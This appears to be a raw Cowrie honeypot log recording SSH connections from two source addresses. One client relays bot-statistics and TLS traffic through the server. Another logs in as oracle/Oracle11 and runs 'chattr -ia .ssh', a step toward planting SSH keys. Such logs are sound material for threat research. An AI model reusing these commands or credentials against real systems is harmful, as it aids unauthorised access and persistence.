{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:15.848646Z","src_ip":"63.141.242.2","session":"6fec31fcf241","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.101 Mobile/18H17 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Y1pyVnY0NXF3L1dZV3R2bg%3D%3DQLzFP1TonVoNla59N88FhWoDR5X0QTCWJAMKa89bSpdqUpHsqDQJhjxv6fJjwSlTI1oD3OnTtO%2FYtaqwz7r35FinNENeXJxfyS4dePLLKLjV5txAVn%2BZXCfiPd0Fmn6IlNn65lZt8nOadnmmPiaS5M20iTKHBr%2FPR7ePPrGiEAbXQbcn51CAKvyQCAOvAfFVb7tQ7jVZiZKiG7hqTMRUc7Rq8G2JttKWfbM14jEa2hirejpL1q3EkxeYun2B7eI4RJCgGty16wls0roEVM%2B%2BXGn6k0PRnuCui5TDUv%2FtLLcd4sdQMMWajLP1be4Y2O42pEGHJiU2DoPHbZr5yI1sTiZCONha2JEosuAm45URmmquyvMQhPM04iA9I2HXVVdeKu%2Bw3TZxAeQ669No1cgVKDi9PQy9ZiwIsem%2F93BstqB3DC3i%2F8S5mp3IwVWAgkWA9Jn%2BzXC%2BnQS5wZWbZN3OVOoyqb9Tfnw9nPyS2rN1n6AIgqu0X6beBbPcABbrBdnYVlYHmilStvrwrcDmERxLzDu7FDh8t%2B3wfXQR%2BOihmcXPQiuCqSoGKRwAAU85%2BrHi%2BJbxv%2BqP6Fzbzbf40yHVrDN8TPBMGKEcwU5NvItfuL3XyKItqxkzwih3bbdlSW4Oq9T6kO4BrxKwE%2B6I5ooeNvGVhOd0xMrLT1drb%2B9Dq5yPBbh4TrIHooXOdgyq4w0JT22UYHWEVMFljVLhgqujKuoQuwyDQk1rKlfKECCkdxnBzwoGgLimrF3xzIACPUfEaXyvcSBY5eMw6BDmT%2BV3JZ4aSgoTdo6f4jnXIkNHPhQrimmiPZ1t7IATkUtx%2B4ELXVbLspoveKsog6iK95WIPLJ%2Buu2bEUyxbwq%2FKNt%2FElfacfriisjVJSCj%2BRhARMuEZhMeL5rhnNGbWqa2FrOxcldgw%2BOIsG8uZPWXt%2Be%2FiouTFA5%2BAq5nZN1%2FExpEH05tLvZY1X%2BQFz3819wkJQmHpROI9JFPmVlqaQmi2Ml6jx2S9CTKTqk4TmuDT88jsqpEe8ilMh43pTdjP%2FvsznZUn%2BMuV0peqnK9%2BpNaYI45Hho%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.101 Mobile/18H17 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Y1pyVnY0NXF3L1dZV3R2bg%3D%3DQLzFP1TonVoNla59N88FhWoDR5X0QTCWJAMKa89bSpdqUpHsqDQJhjxv6fJjwSlTI1oD3OnTtO%2FYtaqwz7r35FinNENeXJxfyS4dePLLKLjV5txAVn%2BZXCfiPd0Fmn6IlNn65lZt8nOadnmmPiaS5M20iTKHBr%2FPR7ePPrGiEAbXQbcn51CAKvyQCAOvAfFVb7tQ7jVZiZKiG7hqTMRUc7Rq8G2JttKWfbM14jEa2hirejpL1q3EkxeYun2B7eI4RJCgGty16wls0roEVM%2B%2BXGn6k0PRnuCui5TDUv%2FtLLcd4sdQMMWajLP1be4Y2O42pEGHJiU2DoPHbZr5yI1sTiZCONha2JEosuAm45URmmquyvMQhPM04iA9I2HXVVdeKu%2Bw3TZxAeQ669No1cgVKDi9PQy9ZiwIsem%2F93BstqB3DC3i%2F8S5mp3IwVWAgkWA9Jn%2BzXC%2BnQS5wZWbZN3OVOoyqb9Tfnw9nPyS2rN1n6AIgqu0X6beBbPcABbrBdnYVlYHmilStvrwrcDmERxLzDu7FDh8t%2B3wfXQR%2BOihmcXPQiuCqSoGKRwAAU85%2BrHi%2BJbxv%2BqP6Fzbzbf40yHVrDN8TPBMGKEcwU5NvItfuL3XyKItqxkzwih3bbdlSW4Oq9T6kO4BrxKwE%2B6I5ooeNvGVhOd0xMrLT1drb%2B9Dq5yPBbh4TrIHooXOdgyq4w0JT22UYHWEVMFljVLhgqujKuoQuwyDQk1rKlfKECCkdxnBzwoGgLimrF3xzIACPUfEaXyvcSBY5eMw6BDmT%2BV3JZ4aSgoTdo6f4jnXIkNHPhQrimmiPZ1t7IATkUtx%2B4ELXVbLspoveKsog6iK95WIPLJ%2Buu2bEUyxbwq%2FKNt%2FElfacfriisjVJSCj%2BRhARMuEZhMeL5rhnNGbWqa2FrOxcldgw%2BOIsG8uZPWXt%2Be%2FiouTFA5%2BAq5nZN1%2FExpEH05tLvZY1X%2BQFz3819wkJQmHpROI9JFPmVlqaQmi2Ml6jx2S9CTKTqk4TmuDT88jsqpEe8ilMh43pTdjP%2FvsznZUn%2BMuV0peqnK9%2BpNaYI45Hho%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:15.851866Z","src_ip":"63.141.242.2","session":"6fec31fcf241","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:15.934112Z","session":"6fec31fcf241","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:15.971366Z","src_ip":"63.141.242.2","session":"6fec31fcf241","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe2\\xdc\\xcb\\xe7\\x8fi\\xc3\\x89C\\x84`^~R\\xc6\\xa2\\xde\\x9bF\\xee\\x80@R\\xe9\\xc4\\xb8h\\xb9^\\xbb\\x85\\xa4 *\\x13\\x9c\\xf8\\xb8i\\x07\\xfe\\xce\\x9b~\\xc7\\x98\\x93\\x8f\\x92\\xfc\\xf9\\xf7\\xc3M\"U\\xca\\xf68\\xde\\xe5\\n>\\x06\\xc9\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd15\\x89\\xff`\\x985\\xf7\\x0b\\xf9?zK\\x8c\\xe22t\\x80\\xed\\x93?c\\x19N\\x10\\x16\\xc0\\xc4\\x16*\\x8eu\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe2\\xdc\\xcb\\xe7\\x8fi\\xc3\\x89C\\x84`^~R\\xc6\\xa2\\xde\\x9bF\\xee\\x80@R\\xe9\\xc4\\xb8h\\xb9^\\xbb\\x85\\xa4 *\\x13\\x9c\\xf8\\xb8i\\x07\\xfe\\xce\\x9b~\\xc7\\x98\\x93\\x8f\\x92\\xfc\\xf9\\xf7\\xc3M\"U\\xca\\xf68\\xde\\xe5\\n>\\x06\\xc9\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd15\\x89\\xff`\\x985\\xf7\\x0b\\xf9?zK\\x8c\\xe22t\\x80\\xed\\x93?c\\x19N\\x10\\x16\\xc0\\xc4\\x16*\\x8eu\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:15.974930Z","src_ip":"63.141.242.2","session":"6fec31fcf241","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:16.100629Z","session":"6fec31fcf241","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:16.193316Z","src_ip":"63.141.242.2","session":"6fec31fcf241","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03h\\xfd\\x9b\\x8eeI?Q\\'\\xc1\\xfa7\\xea_\\x82\\xce0H\\xb6\\xda\\x1c|j\\xb4\\xbc\\xe3\\xae\\xbd\\x05lh\\xa6 \\xc7ZVON\\xb4\\x80s\\x12\\xb6m\\xc9\\xd2\\xe6\\xfai\\xfa\\x0e\\xa8Nf\\x81\\x85\\xe8\\xc3\\x9b\\xb4)\\xacE\"\\x88\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf2Q%\\\\\\x03\\xcc\\xf0\\x9c\\x893\\xaa\\x80\\xf4\\x06\\xbe\\xe9\\xb5$R\\xb0.\\x1f*\\xe4\\x12\\t\\xe4{X)\\x95\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03h\\xfd\\x9b\\x8eeI?Q\\'\\xc1\\xfa7\\xea_\\x82\\xce0H\\xb6\\xda\\x1c|j\\xb4\\xbc\\xe3\\xae\\xbd\\x05lh\\xa6 \\xc7ZVON\\xb4\\x80s\\x12\\xb6m\\xc9\\xd2\\xe6\\xfai\\xfa\\x0e\\xa8Nf\\x81\\x85\\xe8\\xc3\\x9b\\xb4)\\xacE\"\\x88\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf2Q%\\\\\\x03\\xcc\\xf0\\x9c\\x893\\xaa\\x80\\xf4\\x06\\xbe\\xe9\\xb5$R\\xb0.\\x1f*\\xe4\\x12\\t\\xe4{X)\\x95\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:16.195770Z","src_ip":"63.141.242.2","session":"6fec31fcf241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:19.290672Z","src_ip":"63.141.242.2","session":"6fec31fcf241","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":54700,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9390bd2c809","protocol":"ssh","message":"New connection: 103.60.242.169:54700 (159.203.135.109:22) [session: d9390bd2c809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:24.727514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:24.733442Z","src_ip":"103.60.242.169","session":"d9390bd2c809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:24.983825Z","src_ip":"103.60.242.169","session":"d9390bd2c809","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Oracle11","message":"login attempt [oracle/Oracle11] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:26.017993Z","src_ip":"103.60.242.169","session":"d9390bd2c809","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:26.563659Z","src_ip":"103.60.242.169","session":"d9390bd2c809","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:26.566741Z","src_ip":"103.60.242.169","session":"d9390bd2c809","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:26.570220Z","src_ip":"103.60.242.169","session":"d9390bd2c809","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:27.073571Z","src_ip":"103.60.242.169","session":"d9390bd2c809","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:27.379067Z","src_ip":"103.60.242.169","session":"d9390bd2c809","protocol":"ssh"}
